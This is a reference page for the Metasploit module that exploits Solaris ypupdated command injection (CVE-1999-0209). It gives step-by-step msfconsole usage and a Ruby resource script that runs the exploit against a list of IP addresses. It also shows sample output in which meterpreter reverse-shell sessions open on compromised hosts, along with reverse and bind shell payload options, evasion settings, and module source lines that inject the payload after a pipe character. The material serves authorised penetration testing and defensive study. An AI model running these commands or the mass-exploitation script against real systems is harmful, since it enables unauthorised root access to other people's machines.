Solaris ypupdated Command Execution - Metasploit


This page contains detailed information about how to use the exploit/solaris/sunrpc/ypupdated_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Solaris ypupdated Command Execution
Module: exploit/solaris/sunrpc/ypupdated_exec
Source code: modules/exploits/solaris/sunrpc/ypupdated_exec.rb
Disclosure date: 1994-12-12
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Solaris, Unix
Target service / protocol: -
Target network port(s): 111
List of CVEs: CVE-1999-0209

This exploit targets a weakness in the way the ypupdated RPC application uses the command shell when handling a MAP UPDATE request. Extra commands may be launched through this command shell, which runs as root on the remote host, by passing commands in the format '|<command>'. Vulnerable systems include Solaris 2.7, 8, 9, and 10, when ypupdated is started with the '-i' command-line option.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using ypupdated_exec against a single host

Normally, you can use exploit/solaris/sunrpc/ypupdated_exec this way:

msf > use exploit/solaris/sunrpc/ypupdated_exec
msf exploit(ypupdated_exec) > show targets
    ... a list of targets ...
msf exploit(ypupdated_exec) > set TARGET target-id
msf exploit(ypupdated_exec) > show options
    ... show and set options ...
msf exploit(ypupdated_exec) > exploit

Using ypupdated_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your ypupdated_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/solaris/sunrpc/ypupdated_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the solaris/sunrpc/ypupdated_exec exploit module looks in the msfconsole:

msf6 > use exploit/solaris/sunrpc/ypupdated_exec

msf6 exploit(solaris/sunrpc/ypupdated_exec) > show info

       Name: Solaris ypupdated Command Execution
     Module: exploit/solaris/sunrpc/ypupdated_exec
   Platform: Solaris, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1994-12-12

Provided by:
  I)ruid <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  GID       0                no        GID to emulate
  HOSTNAME  localhost        no        Remote hostname
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     111              yes       The target port (TCP)
  UID       0                no        UID to emulate

Payload information:
  Space: 1024

Description:
  This exploit targets a weakness in the way the ypupdated RPC 
  application uses the command shell when handling a MAP UPDATE 
  request. Extra commands may be launched through this command shell, 
  which runs as root on the remote host, by passing commands in the 
  format '|<command>'. Vulnerable systems include Solaris 2.7, 8, 9, 
  and 10, when ypupdated is started with the '-i' command-line option.

References:
  https://nvd.nist.gov/vuln/detail/CVE-1999-0209
  OSVDB (11517)
  http://www.securityfocus.com/bid/1749

Module Options

This is a complete list of options available in the solaris/sunrpc/ypupdated_exec exploit:

msf6 exploit(solaris/sunrpc/ypupdated_exec) > show options

Module options (exploit/solaris/sunrpc/ypupdated_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   GID       0                no        GID to emulate
   HOSTNAME  localhost        no        Remote hostname
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     111              yes       The target port (TCP)
   UID       0                no        UID to emulate

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the solaris/sunrpc/ypupdated_exec exploit:

msf6 exploit(solaris/sunrpc/ypupdated_exec) > show advanced

Module advanced options (exploit/solaris/sunrpc/ypupdated_exec):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   TIMEOUT                 10               yes       Number of seconds to wait for responses to RPC calls
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Exploit Targets

Here is a list of targets (platforms and systems) which the solaris/sunrpc/ypupdated_exec module can exploit:

msf6 exploit(solaris/sunrpc/ypupdated_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the solaris/sunrpc/ypupdated_exec exploit:

msf6 exploit(solaris/sunrpc/ypupdated_exec) > show payloads

Compatible Payloads
===================

   #  Name                                        Disclosure Date  Rank    Check  Description
   -  ----                                        ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1  payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   3  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   4  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   5  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   6  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   7  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Evasion Options

Here is the full list of possible evasion options supported by the solaris/sunrpc/ypupdated_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(solaris/sunrpc/ypupdated_exec) > show evasion

Module evasion options:

   Name                               Current Setting  Required  Description
   ----                               ---------------  --------  -----------
   ONCRPC::tcp_request_fragmentation  false            no        Enable fragmentation of TCP ONC/RPC requests
   TCP::max_send_size                 0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                    0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No Errors, appears to have succeeded!

Here is a relevant code snippet related to the "No Errors, appears to have succeeded!" error message:

71:	    command = '|' + payload.encoded
72:	    msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
73:	    sunrpc_call(procedure, msg)
74:	
75:	    sunrpc_destroy
76:	
77:	    print_status('No Errors, appears to have succeeded!')
78:	  rescue ::Rex::Proto::SunRPC::RPCTimeout
79:	    print_warning('Warning: ' + $!)
80:	  end
81:	end

Warning

Here is a relevant code snippet related to the "Warning" error message:

71:	    command = '|' + payload.encoded
72:	    msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
73:	    sunrpc_call(procedure, msg)
74:	
75:	    sunrpc_destroy
76:	
77:	    print_status('No Errors, appears to have succeeded!')
78:	  rescue ::Rex::Proto::SunRPC::RPCTimeout
79:	    print_warning('Warning: ' + $!)
80:	  end
81:	end

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • I)ruid <druid[at]caughq.org>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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